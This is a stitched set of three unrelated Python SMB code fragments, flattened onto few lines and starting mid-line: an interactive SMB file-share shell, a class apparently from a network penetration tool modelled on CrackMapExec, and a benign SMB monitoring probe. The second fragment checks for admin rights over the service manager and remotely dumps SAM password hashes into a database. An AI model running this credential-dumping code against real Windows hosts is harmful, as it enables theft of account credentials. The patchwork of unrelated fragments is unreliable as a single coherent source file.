None self.tid = None self.pwd = '' self.loggedIn = False self.password = None self.lmhash = None self.nthash = None self.username = None def do_info(self, line): if self.loggedIn is False: LOG.error("Not logged in") return rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrServerGetInfo(dce, 102) print("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major']) print("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor']) print("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name']) print("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment']) print("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath']) print("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users']) def do_who(self, line): if self.loggedIn is False: LOG.error("Not logged in") return rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10) for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']: print("host: %15s, user: %5s, active: %5d, idle: %5d" % ( session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'], session['sesi10_idle_time'])) def do_shares(self, line): if self.loggedIn is False: LOG.error("Not logged in") return resp = self.smb.listShares() for i in range(len(resp)): print(resp[i]['shi1_netname'][:-1]) def do_use(self,line): if self.loggedIn is False: LOG.error("Not logged in") return self.share = line self.tid = self.smb.connectTree(line) self.pwd = '\\' self.do_ls('', False) def complete_cd(self, text, line, begidx, endidx): return self.complete_get(text, line, begidx, endidx, include = 2) def do_cd(self, line): if self.tid is None: LOG.error("No share selected") return p = line.replace('/','\\') oldpwd = self.pwd if p[0] == '\\': self.pwd = line else: self.pwd = ntpath.join(self.pwd, line) self.pwd = ntpath.normpath(self.pwd) # Let's try to open the directory to see if it's valid try: fid = self.smb.openFile(self.tid, self.pwd, creationOption = FILE_DIRECTORY_FILE, desiredAccess = FILE_READ_DATA | FILE_LIST_DIRECTORY, shareMode = FILE_SHARE_READ | FILE_SHARE_WRITE ) self.smb.closeFile(self.tid,fid) except SessionError: self.pwd = oldpwd raise def do_lcd(self, s): print(s) if s == '': print(os.getcwd()) else: os.chdir(s) def do_pwd(self,line): if self.loggedIn is False: LOG.error("Not logged in") return print(self.pwd) def do_ls(self, wildcard, display = True): if self.loggedIn is False: LOG.error("Not logged in") return if self.tid is None: LOG.error("No share selected") return if wildcard == '': pwd = ntpath.join(self.pwd,'*') else: pwd = ntpath.join(self.pwd, wildcard) self.completion = [] pwd = pwd.replace('/','\\') pwd = ntpath.normpath(pwd) for f in self.smb.listPath(self.share, pwd): if display is True: print("%crw-rw-rw- %10d %s %s" % ( 'd' if f.is_directory() > 0 else '-', f.get_filesize(), time.ctime(float(f.get_mtime_epoch())), f.get_longname())) self.completion.append((f.get_longname(), f.is_directory())) def do_rm(self, filename): if self.tid is None: LOG.error("No share selected") return f = ntpath.join(self.pwd, filename) file = f.replace('/','\\') self.smb.deleteFile(self.share, file) def do_mkdir(self, path): if self.tid is None: LOG.error("No share selected") return p = ntpath.join(self.pwd, path) pathname = p.replace('/','\\') self.smb.createDirectory(self.share,pathname) def do_rmdir(self, path): if self.tid is None: LOG.error("No share selected") return p = ntpath.join(self.pwd, path) pathname = p.replace('/','\\') self.smb.deleteDirectory(self.share, pathname) def do_put(self, pathname): if self.tid is None: LOG.error("No share selected") return src_path = pathname dst_name = os.path.basename(src_path) fh = open(pathname, 'rb') f = ntpath.join(self.pwd,dst_name) finalpath = f.replace('/','\\') self.smb.putFile(self.share, finalpath, fh.read) fh.close() def complete_get(self, text, line, begidx, endidx, include = 1): # include means # 1 just files # 2 just directories p = line.replace('/','\\') if p.find('\\') < 0: items = [] if include == 1: mask = 0 else: mask = 0x010 for i in self.completion: if i[1] == mask: items.append(i[0]) if text: return [ item for item in items if item.upper().startswith(text.upper()) ] else: return items def do_mget(self, mask): if mask == '': LOG.error("A mask must be provided") return if self.tid is None: LOG.error("No share selected") return self.do_ls(mask,display=False) if len(self.completion) == 0: LOG.error("No files found matching the provided mask") return for file_tuple in self.completion: if file_tuple[1] == 0: filename = file_tuple[0] filename = filename.replace('/', '\\') fh = open(ntpath.basename(filename), 'wb') pathname = ntpath.join(self.pwd, filename) try: LOG.info("Downloading %s" % (filename)) self.smb.getFile(self.share, pathname, fh.write) except: fh.close() os.remove(filename) raise fh.close() def do_get(self, filename): if self.tid is None: LOG.error("No share selected") return filename = filename.replace('/','\\') fh = open(ntpath.basename(filename),'wb') pathname = ntpath.join(self.pwd,filename) try: self.smb.getFile(self.share, pathname, fh.write) except: fh.close() os.remove(filename) raise fh.close() def do_cat(self, filename): if self.tid is None: LOG.error("No share selected") return filename = filename.replace('/','\\') fh = BytesIO() pathname = ntpath.join(self.pwd,filename) try: self.smb.getFile(self.share, pathname, fh.write) except: raise output = fh.getvalue() encoding = "" # chardet.detect(output)["encoding"] error_msg = "[-] Output cannot be correctly decoded, are you sure the text is readable ?" if encoding: try: print(output.decode(encoding)) except: print(error_msg) finally: fh.close() else: print(error_msg) fh.close() def do_close(self, line): self.do_logoff(line) def do_list_snapshots(self, line): l = line.split(' ') if len(l) > 0: pathName= l[0].replace('/','\\') # Relative or absolute path? if pathName.startswith('\\') is not True: pathName = ntpath.join(self.pwd, pathName) snapshotList = self.smb.listSnapshots(self.tid, pathName) if not snapshotList: print("No snapshots found") return for timestamp in snapshotList: print(timestamp) def do_mount(self, line): l = line.split(' ') if len(l) > 1: target = l[0].replace('/','\\') pathName= l[1].replace('/','\\') # Relative or absolute path? if pathName.startswith('\\') is not True: pathName = ntpath.join(self.pwd, pathName) self.smb.createMountPoint(self.tid, pathName, target) def do_umount(self, mountpoint): mountpoint = mountpoint.replace('/','\\') # Relative or absolute path? if mountpoint.startswith('\\') is not True: mountpoint = ntpath.join(self.pwd, mountpoint) mountPath = ntpath.join(self.pwd, mountpoint) self.smb.removeMountPoint(self.tid, mountPath) def do_EOF(self, line): print('Bye!\n') return True
class SmbCon(Connector): def __init__(self, args, loggers, host, db): Connector.__init__(self, args, loggers, host) self.auth = False self.con = False self.client = ''.join( [choice(ascii_letters + digits) for x in range(7)]) self.smbv1 = False self.os = '' self.admin = False self.signing = False self.os_arch = '0' self.remote_ops = None self.bootkey = None self.db = db self.port = 445 ######################### # Session Management ######################### def create_smb_con(self): # Create SMB Con if self.smb_connection(): self.host_info() try: # SMB Auth self.con.login(self.username, self.password, self.domain, lmhash=self.lmhash, nthash=self.nthash) self.auth = True self.host_info() self.isAdmin() self.update_db() except Exception as e: raise Exception(str(e)) else: raise Exception('Connection to Server Failed') def update_db(self): self.db.update_host(self.host, self.ip, self.domain, self.os, self.signing) if self.username and self.password or self.username and self.hash: self.db.update_user(self.username, self.password, self.domain, self.hash) if self.admin: self.db.update_admin(self.username, self.domain, self.host) def logoff(self): self.con.logoff() def close(self): try: self.con.logoff() except: pass try: self.con.close() except: pass ######################### # SMB Connection ######################### def smb_connection(self): if self.smbv1_con(): return True elif self.smbv3_con(): return True return False def smbv1_con(self): try: self.con = SMBConnection(self.client, self.host, sess_port=self.port, preferredDialect=SMB_DIALECT, timeout=int(self.timeout)) self.smbv1 = True self.con.setTimeout(self.timeout) return True except Exception as e: return False def smbv3_con(self): try: self.con = SMBConnection(self.client, self.host, sess_port=self.port, timeout=int(self.timeout)) self.con.setTimeout(self.timeout) return True except Exception as e: return False ######################### # Authentication (NOT IN USE) ######################### def set_host(self, local_auth): # Get domain for authentication purposes if local_auth: self.domain = self.con.getServerName( ) + "." + self.con.getServerDNSDomainName() else: self.domain = self.con.getServerDNSDomainName() # Backup for Linux/Unix systems if not self.domain: self.domain = self.con.getServerName( ) + "." + self.con.getServerDNSDomainName() ################################ # Enumerate Host information ################################ def host_info(self): try: self.srvdomain = self.get_domain() self.host = self.get_hostname() self.os = self.con.getServerOS() self.signing = self.con.isSigningRequired() arch = self.get_os_arch() if arch == 32 or arch == 64: self.os_arch = " x{}".format(str(arch)) else: self.os_arch = '' except Exception as e: self.logger.debug("SMB Host Info: {}".format(str(e))) def get_os_arch(self): # Credit: https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py # Credit: https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_19/examples/getArch.py try: stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host) transport = DCERPCTransportFactory(stringBinding) transport.set_connect_timeout(5) dce = transport.get_dce_rpc() dce.connect() try: dce.bind( MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')) except DCERPCException as e: if str(e).find('syntaxes_not_supported') >= 0: dce.disconnect() return 32 else: dce.disconnect() return 64 except: return 0 def get_hostname(self): if self.con.getServerDNSDomainName() and not self.local_auth: if self.con.getServerName().lower( ) != self.con.getServerDNSDomainName().lower(): return (self.con.getServerName() + "." + self.con.getServerDNSDomainName()) else: return self.con.getServerName() else: return self.con.getServerName() def get_domain(self): try: return self.con.getServerDomain() except: return self.getServerName() def list_shares(self): # name=share['shi1_netname'][:-1], description=share['shi1_remark'] return self.con.listShares() ################################ # Host/Domain Password Policy ################################ def password_policy(self): SAMRDump(self).dump(self.host) ################################ # List Shares & Check Share Permissions ################################ def read_perm(self, share): try: # Silently list path to check access self.list_path(share, False) return True except: return False def write_perm(self, share): try: # Create dir to check write access tmp = '.' + ''.join( [choice(ascii_letters + digits) for x in range(5)]) self.con.createDirectory(share, tmp) self.con.deleteDirectory(share, tmp) return True except Exception as e: return False def list_path(self, share, path): if not path: path = '/*' return self.con.listPath(share, path) ################################ # Check if User Admin ################################ def isAdmin(self): rpctransport = SMBTransport(self.host, self.port, r'\svcctl', smb_connection=self.con) dce = rpctransport.get_dce_rpc() try: dce.connect() except: pass else: dce.bind(scmr.MSRPC_UUID_SCMR) try: # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx ans = scmr.hROpenSCManagerW(dce, '{}\x00'.format(self.host), 'ServicesActive\x00', 0xF003F) self.admin = True return True except scmr.DCERPCException as e: pass return False ################################ # Dump SAM / LSA ################################ def enable_remoteops(self): # Source: https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py if self.remote_ops is not None and self.bootkey is not None: return try: self.remote_ops = RemoteOperations(self.con, False, None) self.remote_ops.enableRegistry() self.bootkey = self.remote_ops.getBootKey() except Exception as e: self.logger.fail('RemoteOperations failed for {}: {}'.format( self.host, str(e))) def sam(self): try: self.enable_remoteops() def add_sam_hash(sam_hash, host_id): self.logger.success( [self.host, highlight("SAM HASH"), sam_hash]) username, _, lmhash, nthash, _, _, _ = sam_hash.split(':') self.db.update_user(username, '', host_id, "{}:{}".format(lmhash, nthash)) if self.remote_ops and self.bootkey: SAMFileName = self.remote_ops.saveSAM() SAM = SAMHashes(SAMFileName, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash( secret, self.host)) SAM.dump() except Exception as e: self.logger.fail('SAM Extraction Failed for {}: {}'.format( self.host, str(e))) try: self.remote_ops.finish() except Exception as e: self.logger.debug( "Error calling remote_ops.finish() for {}: {}".format( self.host, str(e))) SAM.finish() ################################ # File Interaction ################################ def createFile(self, filename, data, share='C$'): # Create new file & write data, Not In Use f = remotefile.RemoteFile(self.con, filename, share) f.create() f.write(data) f.close() def uploadFile(self, local_file, location, share='C$'): f = open(local_file) self.con.putFile(share, location, f.read) f.close() def downloadFile(self, remote_file, location='ar3_download', share='C$'): f = open(location, 'wb') self.con.getFile(share, remote_file, f.write) f.close() return def deleteFile(self, remote_file, share='C$'): self.con.deleteFile(share, remote_file)
class probe_smb(probemain): """ SMB probe """ # ----------------------------------------- def __init__(self): """constructor """ probemain.__init__(self, "SMB") self.smbClient = None self.aShares = None self.dceInfo = None self.domain = None self.ip = None self.password = None self.port = None self.pwd = None self.server = None self.share = None self.tid = None self.username = None self.bConnected = None self.bGuestConnected = None self.__clean() self.checkNet() self.getConfig("smb", self.job_smb) self.mainLoop() # ----------------------------------------- def __clean(self): """clean all variables""" self.bConnected = False self.bGuestConnected = True self.dceInfo = {} self.aShares = [] self.tid = None self.pwd = '\\' self.share = '' # ----------------------------------------- def getConfig(self, name, f, testf=None): """get the configuration from the database """ jobs = super(probe_smb, self).getConfig(name, f, self.f_testOK) for j in jobs: logging.info("add job to scheduler every {} sec".format(j['freq'])) # -------------------------------------------------- def connect(self): """connect to the server """ try: self.smbClient = SMBConnection(self.server, self.ip, sess_port=self.port) self.smbClient.login(self.username, self.password, self.domain, '', '') except Exception as e: logging.error(str(e)) self.bConnected = False return False self.bConnected = True self.bGuestConnected = (self.smbClient.isGuestSession() > 0) return True # -------------------------------------------------- def isUserLogged(self): """is the connection guest """ return self.bGuestConnected # -------------------------------------------------- def getDCEInfo(self): """information on the DCE/RPC connection """ if self.bConnected is False: return rpctransport = transport.SMBTransport(self.smbClient.getRemoteHost(), filename=r'\srvsvc', smb_connection=self.smbClient) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrServerGetInfo(dce, 102) r = { "platform_id": resp['InfoStruct']['ServerInfo102']['sv102_platform_id'], "name": str(resp['InfoStruct']['ServerInfo102']['sv102_name'].replace('\x00', '')), "major": resp['InfoStruct']['ServerInfo102']['sv102_version_major'], "minor": resp['InfoStruct']['ServerInfo102']['sv102_version_minor'], "type": resp['InfoStruct']['ServerInfo102']['sv102_type'], "comment": str(resp['InfoStruct']['ServerInfo102']['sv102_comment'].replace('\x00', '')), "simultaneous_users": resp['InfoStruct']['ServerInfo102']['sv102_users'], "disc": resp['InfoStruct']['ServerInfo102']['sv102_disc'], "hidden": resp['InfoStruct']['ServerInfo102']['sv102_hidden'], "announce": resp['InfoStruct']['ServerInfo102']['sv102_announce'], "anndelta": resp['InfoStruct']['ServerInfo102']['sv102_anndelta'], "licenses": resp['InfoStruct']['ServerInfo102']['sv102_licenses'], "user_path": str(resp['InfoStruct']['ServerInfo102']['sv102_userpath'].replace('\x00', '')) } self.dceInfo = r del rpctransport del dce del resp return r # -------------------------------------------------- def getWho(self): """who is connected -> error """ try: rpctransport = transport.SMBTransport(self.smbClient.getRemoteHost(), filename=r'\srvsvc', smb_connection=self.smbClient) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10) except Exception as e: logging.error("getWho: {}".format(str(e))) return for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']: print("host: %15s, user: %5s, active: %5d, idle: %5d" % ( session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'], session['sesi10_idle_time'])) # -------------------------------------------------- def getShares(self): """get shares available on the server """ if self.bConnected is False: logging.error("No connection open") return r = [] resp = self.smbClient.listShares() for respi in resp: r.append(respi['shi1_netname'][:-1]) self.aShares = r return r # -------------------------------------------------- def getShare(self, regexp=".*"): """get shares available on the server """ if self.bConnected is False: logging.error("No connection open") return resp = self.smbClient.listShares() for i, _ in enumerate(resp): netname = resp[i]['shi1_netname'][:-1] _r = re.match(regexp, netname) if _r != None: return { "netname": netname, "type": resp[i]['shi1_type'], "remark": resp[i]['shi1_remark'][:-1] } return False # -------------------------------------------------- def useShare(self, share): """use a share """ if self.bConnected is False: logging.error("No connection open") return False if not self.aShares: self.getShares() if share not in self.aShares: logging.error("useShare : share {} not available on server".format(share)) return False try: self.tid = self.smbClient.connectTree(share) except Exception as e: logging.error("useShare: {}".format(str(e))) return False logging.debug("connected on share {}".format(share)) self.share = share # -------------------------------------------------- def cd(self, _dir): """change directory on the share """ if self.bConnected is False: logging.error("No connection open") return if self.tid is None: logging.error("not on a share") return pwd = ntpath.normpath(string.replace(_dir, '/', '\\')) logging.debug("cd to normalize path {}".format(pwd)) # Let's try to open the directory to see if it's valid try: fid = self.smbClient.openFile(self.tid, pwd, creationOption=FILE_DIRECTORY_FILE, desiredAccess=FILE_READ_DATA | FILE_LIST_DIRECTORY, shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE) self.smbClient.closeFile(self.tid, fid) except Exception as e: logging.error("cd: {}".format(str(e))) return False logging.debug("success cd to {}".format(_dir)) self.pwd = pwd return True # -------------------------------------------------- def lsFiles(self, _filter='*'): """list files in the directory """ if self.bConnected is False: logging.error("No connection open") return False if self.share == '': logging.error("No share selected, see useShare()") return False if self.tid is None: logging.error("not on a share") return False logging.debug("ls on share {} in {}".format(self.share, self.pwd)) pwd = ntpath.join(self.pwd, _filter) r = [] try: for f in self.smbClient.listPath(self.share, pwd): if f.is_directory() == 0: r.append({ "mtime": f.get_mtime_epoch(), "ctime": f.get_ctime_epoch(), "atime": f.get_atime_epoch(), "size": f.get_filesize(), "name": str(f.get_longname()) }) except Exception as ex: logging.error("file list: {}".format(str(ex))) return r # -------------------------------------------------- def logoff(self): """get off the server """ if self.smbClient is None or self.bConnected is False: logging.error("No connection open") else: self.smbClient.logoff() del self.smbClient self.__clean() # -------------------------------------------------- def __str__(self): """for print """ import pprint s = "smb client object:\n" s += " configuration:\n" s += " domain/user:pwd: {}/{}:{}\n".format(self.domain, self.username, self.password) s += " server/ip:port: {}/{}:{}\n".format(self.server, self.ip, self.port) s += "\n status:\n" if self.bConnected: if self.bGuestConnected: s += " guest connected\n" else: s += " user connected\n" else: s += " not connected\n" if self.dceInfo.__contains__('licenses'): s += "\n DCE Info: {}\n".format(pprint.pformat(self.dceInfo)) if self.aShares: s += "\n shares = {}\n".format(pprint.pformat(self.aShares)) return s # ----------------------------------------- def step_get_file_stats(self, _step, iStep): """get_file_stats action """ result = {} result["smb-step-{:02d}-action".format(iStep)] = _step['type'] _ms = time.time() sError = "smb-step-{:02d}-error".format(iStep) if self.useShare(_step['share']) is False: result[sError] = "share not available: {}".format(_step['share']) return result result["smb-step-{:02d}-share".format(iStep)] = _step['share'] if self.cd(_step['path']) is False: result[sError] = "path not available in share: {}".format(_step['share']) return result result["smb-step-{:02d}-path".format(iStep)] = str(_step['path']) a = self.lsFiles(_step['file']) if a is False: result[sError] = "file access error: {}".format(_step['file']) return result if len(a) == 0: result[sError] = "file not found: {}".format(_step['file']) return result result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000) result["smb-step-{:02d}-file".format(iStep)] = a[0]['name'] result["smb-step-{:02d}-atime".format(iStep)] = datetime.datetime.utcfromtimestamp(a[0]['atime']).isoformat() result["smb-step-{:02d}-ctime".format(iStep)] = datetime.datetime.utcfromtimestamp(a[0]['ctime']).isoformat() result["smb-step-{:02d}-mtime".format(iStep)] = datetime.datetime.utcfromtimestamp(a[0]['mtime']).isoformat() result["smb-step-{:02d}-size".format(iStep)] = a[0]['size'] return result #pprint.pprint(a) # ----------------------------------------- def step_get_share(self, _step, iStep): """get_share action """ result = {} _ms = time.time() result["smb-step-{:02d}-action".format(iStep)] = _step['type'] r = self.getShare(_step['share']) if r != False: result["smb-step-{:02d}-remark".format(iStep)] = r['remark'] result["smb-step-{:02d}-netname".format(iStep)] = r['netname'] else: result["smb-step-{:02d}-error".format(iStep)] = "not found: {}".format(_step['share']) result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000) return result # ----------------------------------------- def step_get_dce_info(self, _step, iStep): """get DCE action """ result = {} _ms = time.time() result["smb-step-{:02d}-action".format(iStep)] = _step['type'] r = self.getDCEInfo() result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000) result["smb-step-{:02d}-anndelta".format(iStep)] = r['anndelta'] result["smb-step-{:02d}-announce".format(iStep)] = r['announce'] result["smb-step-{:02d}-disc".format(iStep)] = r['disc'] result["smb-step-{:02d}-licenses".format(iStep)] = r['licenses'] result["smb-step-{:02d}-major".format(iStep)] = r['major'] result["smb-step-{:02d}-minor".format(iStep)] = r['minor'] result["smb-step-{:02d}-name".format(iStep)] = r['name'] result["smb-step-{:02d}-platform_id".format(iStep)] = r['platform_id'] result["smb-step-{:02d}-simultaneous_users".format(iStep)] = r['simultaneous_users'] return result # ----------------------------------------- def step_read_file(self, _step, iStep): """read a file """ result = {} result["smb-step-{:02d}-action".format(iStep)] = _step['type'] if self.useShare(_step['share']) is False: result["smb-step-{:02d}-error"] = "share not available: {}".format(_step['share']) return result result["smb-step-{:02d}-share".format(iStep)] = _step['share'] fileName = ntpath.normpath(string.replace(_step['file'], '/', '\\')) logging.debug("open file {}".format(fileName)) if _step.__contains__('blocksize'): blocksize = min(1024, _step['blocksize']) blocksize *= 1024 else: blocksize = 1024*1024 _ms = time.time() try: fid = self.smbClient.openFile(self.tid, fileName) offset = 0 endFile = False while endFile is False: _buffer = self.smbClient.readFile(self.tid, fid, offset, blocksize) if len(_buffer) == 0: endFile = True offset += len(_buffer) result["smb-step-{:02d}-read-KB".format(iStep)] = offset / 1024.0 result["smb-step-{:02d}-Mbps".format(iStep)] = (offset * 8 / (time.time() - _ms))/1024000 self.smbClient.closeFile(self.tid, fid) except Exception as e: logging.error("open file: {}".format(str(e))) result["smb-step-{:02d}-error".format(iStep)] = "error in open file: {}".format(_step['file']) result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000) return result # ----------------------------------------- def job_smb(self, _config): """smb job """ _msTotal = time.time() if not _config.__contains__('server'): logging.error("no server specified") return if not _config.__contains__('user'): _config['user'] = "" if not _config.__contains__('password'): _config['password'] = "" if not _config.__contains__('domain'): _config['domain'] = "" if not _config.__contains__('ip'): _config['ip'] = _config['server'] if not _config.__contains__('port'): _config['port'] = 445 self.domain = _config['domain'] self.username = _config['user'] self.password = _config['password'] self.server = _config['server'] self.ip = _config['ip'] self.port = _config['port'] result = { "smb-domain": self.domain, "smb-user": self.username, "smb-server" : self.server } if not _config.__contains__('steps'): logging.error("no steps specified") result['smb-error'] = "no step specified in configuration" self.pushResult(result) return logging.info("connect") _ms = time.time() if self.connect() is False: logging.error("connect error") result['smb-error'] = "connect error" self.pushResult(result) return result['smb-connect-delay-ms'] = round((time.time() - _ms) * 1000) _ms = time.time() self.getShares() result['smb-get-shares-delay-ms'] = round((time.time() - _ms) * 1000) # exec each steps iStep = 1 while _config['steps'].__contains__("{:02d}".format(iStep)): _step = _config['steps']["{:02d}".format(iStep)] logging.debug("exec step {:02d}".format(iStep)) if _step['type'] == "get_file_stats": _r = self.step_get_file_stats(_step, iStep) result.update(_r) if _step['type'] == "get_dce_info": _r = self.step_get_dce_info(_step, iStep) result.update(_r) if _step['type'] == "get_share": _r = self.step_get_share(_step, iStep) result.update(_r) if _step['type'] == "read_file": _r = self.step_read_file(_step, iStep) result.update(_r) iStep += 1 # get the shares # print self.getShares() # get dce server info # pprint.pprint(self.getDCEInfo()) # self.useShare("notavail") # self.useShare("music") # self.cd("/Calogero/L'Embellie") # pprint.pprint(self.lsFiles()) logging.info("logout") self.logoff() result['smb-delay-ms'] = round((time.time() - _msTotal) * 1000) import pprint pprint.pprint(result) # logging.info("smb results : {}".format(result)) # exit() #self.pushResult(result) if 'run_once' in _config: logging.info("run only once, exit") exit()